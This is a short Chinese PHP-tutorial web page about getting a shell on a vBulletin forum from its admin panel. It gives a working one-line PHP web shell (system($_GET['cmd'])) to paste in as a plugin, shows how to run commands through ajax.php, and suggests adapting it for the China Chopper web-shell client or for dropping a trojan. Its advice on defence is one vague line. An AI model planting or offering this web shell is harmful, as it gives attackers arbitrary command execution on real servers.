网站地图    收藏   

主页 > 后端 > 网站安全 >

vBulletin论坛后台拿shell及修复 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 在后台,进插件管理.添加插件. Ajax_complete 填入代码:if(isset($_GET[#39;cmd#39;])){echo h1cmd/h1pre; system($_GET[#39;cmd#39;]);exit;}激活mod 访问:www.2cto.com /forumlocation/aja......

 

在后台,进插件管理.添加插件.

    Ajax_complete 填入代码:

if(isset($_GET['cmd'])){echo "<h1>cmd</h1><pre>"; system($_GET['cmd']);exit;}

激活mod

    访问:www.2cto.com /forumlocation/ajax.php?cmd=command

 

    比如:www.2cto.com /forumlocation/ajax.php?cmd=ls,就执行了ls的命令。

 

    就是一个简单的get型一句话,也可以改成post型的,放入菜刀,或者写个put型的,生成一个小马

 

防范:

插件这里尚需过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论